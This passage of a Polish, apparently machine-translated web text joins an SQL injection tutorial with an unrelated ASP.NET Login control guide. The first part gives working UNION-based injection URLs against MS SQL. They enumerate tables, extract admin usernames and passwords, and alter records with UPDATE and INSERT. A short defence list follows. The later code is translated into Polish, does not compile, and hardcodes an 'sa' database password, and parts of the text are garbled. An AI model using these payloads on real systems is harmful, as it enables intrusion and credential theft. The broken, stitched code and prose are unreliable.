To zapytanie zwróci imię w bazie danych. Kiedy UNION tę wartość ciągu do liczby całkowitej 10, MS SQL Server spróbuje przekonwertować ciąg nvarchar na liczbę całkowitą. Spowoduje to wyświetlenie błędu informującego, że nie można przekonwertować nvarchar na int. Serwer zgłosi następujący błąd:


Błąd składni podczas konwertowania wartości nvarchar "(!LANG:table1" to a column of data type int. !}
/index.asp, wiersz 5

Komunikat o błędzie zawiera informacje o wartości, której nie można przekonwertować na liczbę całkowitą. W tym przypadku otrzymaliśmy nazwę pierwszej tabeli - "table1".

Aby uzyskać następną nazwę tabeli, możemy użyć następującego zapytania:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME Z INFORMATION_SCHEMA.TABLES GDZIE NAZWA_TABELI NOT IN („table1”)--

Możemy również wyszukiwać dane za pomocą klawisza LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 NAZWA_TABELI Z INFORMATION_SCHEMA.TABLES GDZIE NAZWA_TABELI LIKE „%25login%25”--

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e07” Błąd składni podczas konwersji wartości nvarchar "(!LANG:admin_login" to a column of data type int. !} /index.asp, wiersz 5

Odpowiednia konstrukcja „%25login%25” zostanie zastąpiona przez %login% w SQL Server. W takim przypadku otrzymamy nazwę tabeli, która odpowiada kryterium „admin_login”.

6.1 Jak mogę uzyskać wszystkie nazwy kolumn w tabeli?

Możemy użyć tabeli INFORMATION_SCHEMA.COLUMNS, aby wyświetlić wszystkie nazwy kolumn w tabeli:

http://duck/index.asp?id=10 UNION SELECT TOP 1 NAZWA_KOLUMNY Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e07”
Błąd składni podczas konwertowania wartości nvarchar "(!LANG:login_id" to a column of data type int. !}
/index.asp, wiersz 5

Teraz, gdy znamy nazwę pierwszej kolumny, możemy użyć NOT IN(), aby uzyskać nazwę następnej kolumny:

http://duck/index.asp?id=10 UNION SELECT TOP 1 NAZWA_KOLUMNY Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e07”
Błąd składni podczas konwertowania wartości nvarchar "(!LANG:nazwa_logowania" to a column of data type int. !}
/index.asp, wiersz 5

Kontynuując, otrzymamy pozostałe nazwy kolumn, tj. "hasło", "szczegóły", aż otrzymamy następujący błąd.

http://duck/index.asp?id=10 UNION SELECT TOP 1 NAZWA_KOLUMNY FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e14”
Pozycje ORDER BY muszą pojawić się na liście wyboru, jeśli instrukcja zawiera operator UNION.
/index.asp, wiersz 5

6.2. Jak pozyskujemy potrzebne nam dane?

Teraz, gdy zidentyfikowaliśmy kilka ważnych tabel, możemy użyć tej samej techniki do pobierania informacji z bazy danych.

Pobierzmy pierwszy login_name z tabeli „admin_login”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e07”
Błąd składni podczas konwertowania wartości nvarchar "(!LANG:neo" to a column of data type int. !}
/index.asp, wiersz 5

Teraz wiemy, że istnieje użytkownik admin o loginie „neo”. Na koniec możemy uzyskać hasło „neo”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 hasło FROM admin_login gdzie login_name="neo"--

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e07”
Błąd składni podczas konwersji wartości nvarchar "(!LANG:m4trix" to a column of data type int. !}
/index.asp, wiersz 5

Teraz możemy zalogować się jako „neo” z hasłem „m4trix”.

6.3 Jak uzyskać wartość liczbową ciągu?

W opisanej powyżej metodzie istnieje ograniczenie. Nie otrzymamy komunikatu o błędzie, jeśli spróbujemy przekonwertować tekst składający się z liczby (tylko znaki z zakresu 0...9). Opiszemy teraz pobieranie hasła „31173” od użytkownika „trinity”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 hasło FROM admin_login gdzie login_name="trinity"--

Prawdopodobnie otrzymamy błąd „Nie znaleziono strony”. Powodem jest to, że hasło „31173” zostanie przekonwertowane na liczbę, przed UNION z liczbą całkowitą (w naszym przypadku 10). Ponieważ będzie to poprawne wyrażenie UNION, SQL Server nie wygeneruje komunikatu o błędzie, a zatem nie będziemy mogli uzyskać wpisu numerycznego.

Aby rozwiązać ten problem, możemy dodać ciąg liczbowy z kilkoma literami na końcu, aby konwersja się nie powiodła. Zmienione żądanie:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login gdzie login_name="trinity"--

Po prostu używamy znaku plus (+), aby dołączyć do hasła dowolny tekst (kodowanie ASSCII dla „+” = 0x2b) na końcu. Następnie dodamy „%20morpheus” na końcu aktualnego hasła. Więc nawet jeśli wartość hasła to „31173”, będzie to „31173 morpheus”. Poprzez ręczne wywołanie funkcji convert(), próbując przekonwertować „31173 morpheus” na liczbę całkowitą, SQL Server wyśle ​​komunikat o błędzie ODBC:

Dostawca Microsoft OLE DB dla sterowników ODBC błąd „80040e07”
Błąd składni podczas konwertowania wartości nvarchar "(!LANG:31173 morpheus" to a column of data type int. !}
/index.asp, wiersz 5

Teraz możemy zalogować się jako „trójca” z hasłem „31173”.

7.0 Jak modyfikować/wstawiać dane do bazy danych?

Po otrzymaniu nazw wszystkich kolumn w tabeli możemy zaktualizować (UPDATE) lub nawet wstawić (INSERT) nowy rekord do tabeli. Na przykład możemy zmienić hasło na „neo”:

http://kaczka/index.asp?id=10; UPDATE "admin_login" SET "hasło" = "newpas5" GDZIE login_name="neo--

Aby wstawić (INSERT) nowy rekord do bazy danych:

http://kaczka/index.asp?id=10; WSTAW W "admin_login" ("login_id", "login_name", "password", "details") WARTOŚCI (666, "neo2","newpas5","NA")--

Teraz będziemy mogli zalogować się jako „neo” z hasłem „newpas5”.

8.0 Jak uniknąć wstrzyknięcia SQL?

Filtruj znaki specjalne we wszystkich ciągach w:

Wszelkie dane wprowadzone przez użytkownika
- Parametry adresu URL
- Ciasteczka

W przypadku wartości liczbowych przekonwertuj je na liczby całkowite przed przekazaniem ich do zapytania SQL. Lub użyj ISNUMERIC, aby upewnić się, że jest to liczba całkowita.

Uruchom SQL Server jako użytkownik nieuprzywilejowany.

Usuń nieużywane procedury składowane: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Kontrolki logowania ASP.NET zapewniają niezawodne rozwiązanie logowania do aplikacji sieci Web ASP.NET bez konieczności programowania. Domyślnie kontrolki logowania integrują się z członkostwem ASP.NET i uwierzytelnianiem formularzy, aby pomóc zautomatyzować uwierzytelnianie użytkowników w witrynie sieci Web. Zapewnia gotowy do użycia interfejs użytkownika, który pyta użytkownika o nazwę użytkownika i hasło oraz oferuje przycisk Zaloguj się do logowania. Weryfikuje poświadczenia użytkownika względem członkostwa API i zawiera podstawową funkcję uwierzytelniania ods, taką jak przekierowanie z powrotem do pierwotnej żądanej strony w ograniczonym obszarze aplikacji po pomyślnym zalogowaniu.

Kontrolka logowania wyświetla interfejs użytkownika do uwierzytelniania użytkownika. Kontrolka logowania zawiera pola tekstowe dla nazwy użytkownika i hasła oraz pole wyboru, które pozwala użytkownikom wskazać, czy chcą, aby serwer przechowywał ich tożsamość przy użyciu członkostwa ASP.NET i był automatycznie uwierzytelniany przy następnym odwiedzeniu witryny.

Kontrolka logowania ma właściwości dostosowanego wyświetlania, dostosowanych wiadomości i łączy do innych stron, na których użytkownicy mogą zmienić swoje hasło lub odzyskać zapomniane hasło. Kontrolka logowania może być używana jako samodzielna kontrolka na stronie głównej lub głównej lub na dedykowanej stronie logowania. Jeśli używasz kontrolki logowania z członkostwem ASP.NET, nie musisz pisać kodu, aby przeprowadzić uwierzytelnianie. Jeśli jednak chcesz utworzyć własną logikę uwierzytelniania, możesz obsłużyć zdarzenie Authenticate kontrolki logowania i dodać niestandardowy kod uwierzytelniania.

Uwaga — Kontrolki logowania mogą nie działać poprawnie, jeśli metoda strony sieci Web ASP.NET zostanie zmieniona z POST (domyślna) na GET.

Za każdym razem, gdy użytkownik naciśnie przycisk Zaloguj się, formant automatycznie weryfikuje nazwę użytkownika i hasło przy użyciu funkcji członkostwa interfejsu API Membership.ValidateUse(), a następnie wywołuje FormAuthentication.redirectFromLoginPage(), jeśli weryfikacja zakończyła się pomyślnie. Wszystkie opcje w interfejsie użytkownika LoginControl wpływają na dane wejściowe dostarczane przez kontrolkę do tych metod. Na przykład kliknięcie pola wyboru „Zapamiętaj mnie następnym razem” powoduje przekazanie wartości true do parametru createPresistentCookie metody RedirectFromLoginPage(). W związku z tym FormAuthenticateModule tworzy trwały plik cookie.

Domyślnie dostępne są trzy zadania logowania.

  • Autoformatowanie - możesz wybrać domyślne schematy.
  • Konwertuj na szablon — możesz edytować zawartość Kontroli logowania.
  • Administruj witryną — można skonfigurować narzędzia administracyjne witryny sieci Web, takie jak zabezpieczenia, aplikacja, dostawca.

  1. "Login1" runat= "server" BackColor= "#F7F7DE" BorderColor= "#CCCC99" BorderStyle= "Solid" BorderWidth= "1px" Font-Names= "Verdana" Font-Size= "10pt" >
  • Możesz zmienić style LoginControl również za pomocą css, w ten sposób:

    1. .Kontrola logowania
    2. kolor tła : #F7F7DE ;
    3. kolor obramowania : #CCCC99 ;
    4. styl obramowania : solidny ;
    5. szerokość obramowania: 1px
    6. rodzina czcionek : Verdana ;
    7. rozmiar czcionki : 10px ;

    A teraz zastosuj CSS do sterowania:

    1. < html xmlns = „http://www.w3.org/1999/xhtml”>
    2. < head runat = "server" >
    3. < title >Kontrola logowania
    4. < link href = "StyleSheet.css" type = "text/css" rel = "Stylesheet" />
    5. < body >
    6. < form id = "form1" runat = "server" >
    7. < div >
    8. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl" >
    9. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Jeśli uruchamiasz stronę i jeśli plik CSS jest umieszczony w katalogu, w którym odmówiono dostępu anonimowego, dodaj następującą konfigurację pliku CSS do pliku web.config.

    1. < location path = "StyleSheet.css" >
    2. < system.web >
    3. < authorization >
    4. < allow users = "*" />

    Możesz dodać kilka hiperłączy do kontrolki logowania, takich jak hiperłącze do strony tekstu pomocy lub hiperłącze do strony rejestracji.

    1. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl"
    2. CreateUserText = "Zarejestruj się"
    3. CreateUserUrl = "~/Register.aspx"
    4. HelpPageText = "Dodatkowa pomoc" HelpPageUrl = "~/Help.aspx"
    5. Tekst instrukcji = "Proszę wprowadzić swoją nazwę użytkownika i hasło, aby się zalogować.">
    6. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Wygląda tak:

    Oto kod .CS:

    1. korzystanie z Systemu;
    2. za pomocą System.Collections.Generic;
    3. za pomocą System.Linq;
    4. za pomocą System.Web;
    5. za pomocą System.Web.UI;
    6. za pomocą System.Web.UI.WebControls;
    7. przy użyciu System.Data.SqlClient;
    8. public częściowa klasa _Domyślnie: System.Web.UI.Page
    9. protected void Page_Load(object sender, EventArgs e)
    10. if (!this.IsPostBack)
    11. protected void Login1_Authenticate(object .) nadawca, AuthenticateEventArgs e)
    12. jeśli (TwojaFunkcjaWalidacji(Login1.NazwaUżytkownika, Login1.Hasło))
    13. // e.Authenticated = true;
    14. Login1.Widoczny = fałszywy ;
    15. MessageLabel.Text = "Zalogowano pomyślnie" ;
    16. w przeciwnym razie
    17. e.Authenticated = false ;
    18. protected void Login1_LoginError(nadawca obiektu, EventArgs e)
    19. if (ViewState[ "LoginErrors" ] == null )
    20. ViewState["LoginErrors"] = 0;
    21. int ErrorCount = (int )ViewState[ "LoginErrors" ] + 1;
    22. ViewState["LoginErrors" ] = Liczba błędów;
    23. jeśli ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != ciąg .Pusty))
    24. Response.Redirect(Login1.PasswordRecoveryUrl);
    25. private bool YourValidationFunction(ciąg Nazwa użytkownika, ciąg Hasło)
    26. bool boolReturnValue = false ;
    27. ciąg strPołączenie = "serwer=.;baza danych=dostawca;uid=sa;pwd=wintellect;";
    28. sqlConnection Połączenie sql = nowe SqlConnection(strConnection);
    29. Ciąg SQLQuery = "WYBIERZ nazwę użytkownika, hasło z logowania";
    30. Polecenie SqlCommand = nowe SqlCommand(SQLQuery, sqlConnection);
    31. SqlDataReader Dr;
    32. sqlConnection.Open();
    33. Dr = polecenie.ExecuteReader();
    34. podczas (DrRead())
    35. if ((NazwaUżytkownika == Dr[ "NazwaUżytkownika" ].ToString()) & (Hasło == Dr["Hasło" ].ToString()))
    36. boolWartośćZwrotu = PRAWDA ;
    37. Dr.Zamknij();
    38. return boolReturnValue;
    39. return boolReturnValue;

    Jeśli wprowadzisz błędną nazwę użytkownika i hasło, komunikat będzie wyglądał następująco:

    Jeśli wstawisz właściwą nazwę użytkownika, hasło, a następnie przekieruj swoją stronę w dowolne miejsce lub możesz wyświetlić komunikat w ErrorLabel, w ten sposób:

    Dołączam moją bazę danych z aplikacją w folderze App_Data, jeśli chcesz użyć mojej bazy danych, dołącz mój plik .MDF.

    Wszelkie pytania i pytania zadają mi w każdej chwili.

    W ramach technologii ASP.Net Web Forms istnieje zestaw ES do tworzenia i używania kont użytkowników:

    • Login - ES do podłączenia użytkownika (wpisanie nazwy i hasła) i sprawdzenie jego zgodności z danymi zawartymi w bazie danych. Jeśli dane są zgodne (tj. użytkownik jest uwierzytelniony, następuje przejście do żądanej strony).
    • LoginView - umożliwia wyświetlanie różnych informacji dla podłączonych użytkowników. Na przykład możesz użyć tej strony, aby wyświetlić informacje, które są dostępne tylko dla uwierzytelnionych użytkowników.
    • LoginStatus — interfejs użytkownika wyświetlający łącze do strony logowania dla użytkowników, którzy nie zostali uwierzytelnieni (Wyloguj) oraz łącze do strony wylogowania dla zalogowanych użytkowników (Zaloguj).
    • LoginName — interfejs użytkownika pokazujący aktualną nazwę użytkownika, jeśli jest podłączony do systemu.
    • Odzyskiwanie hasła to ES do odzyskiwania hasła użytkownika poprzez wysłanie wiadomości e-mail lub gdy użytkownik odpowie na tajne pytanie.
    • CreateUserWizard to ES, który zbiera informacje o nowym użytkowniku i tworzy nowe konto w bazie danych.
    • ChangePassword - EC, który umożliwia podłączonemu użytkownikowi zmianę hasła.

    Kontrolka logowania zapewnia gotowy do użycia interfejs, który wyświetla monit o podanie nazwy użytkownika i hasła. Zawiera przycisk z atrybutem CommandName-"Login" do połączenia użytkownika. Gdy użytkownik kliknie ten przycisk, ES automatycznie sprawdza zgodność wprowadzonej nazwy użytkownika i hasła z danymi zawartymi w bazie danych, a następnie powoduje przejście do żądanego formularza internetowego aplikacji.Ten ES jest w pełni rozszerzalny i pozwala nadpisać jego znaczniki, styl i właściwości, a także samodzielnie obsługiwać zdarzenia w celu zmiany domyślnego zachowania.Przykład dostosowywania opisu Login EM jest pokazany poniżej :

    <%@ Page Language="C#" AutoEventWireup="true”

    CodeFile="Strona dziennika.aspx.cs" Inherits="Strona dziennika" %>

    ObramowanieKolor="Czarny" ObramowanieStyle="podwójny">

    Podłączanie do systemu

    ControlToValidate="Hasło" ErrorMessage=”*” />

    Wyświetlanie skonfigurowanego powyżej Login ES pokazano na rys.1. 4.22.

    Ryż. 4.22. Wyświetlanie skonfigurowanego logowania ES

    ES LoginView jest dość prosty i wydajny. Pozwala wyświetlać różne zestawy EG dla anonimowych i uwierzytelnionych użytkowników. Dodatkowo umożliwia również pokazanie odstępów treści z uwzględnieniem roli, do której należy podłączony użytkownik. Jednostka LoginView to jednostka szablonu z różnymi typami szablonów: jeden dla użytkowników anonimowych, inny dla użytkowników uwierzytelnionych, a trzeci do obsługi szablonów obsługujących role.

    W tych szablonach wystarczy dodać EI, aby wyświetlić odpowiednią sytuację, jak pokazano poniżej. Ten ES pokazuje zwykły tekst dla anonimowych użytkowników i trochę tekstu dla zarejestrowanych użytkowników:

    Bbi jest anonimowym użytkownikiem

    Bbi podłączony do web-npHno>KeHHK>

    <1т2>Tylko administratorzy mogą zobaczyć tę zawartość

    Ta treść jest przeznaczona dla projektantów stron internetowych i czytelników.

    Przykłady użycia ES do zabezpieczania aplikacji internetowych można znaleźć w folderze Konto standardowego szablonu witryny sieci Web ASP.Net.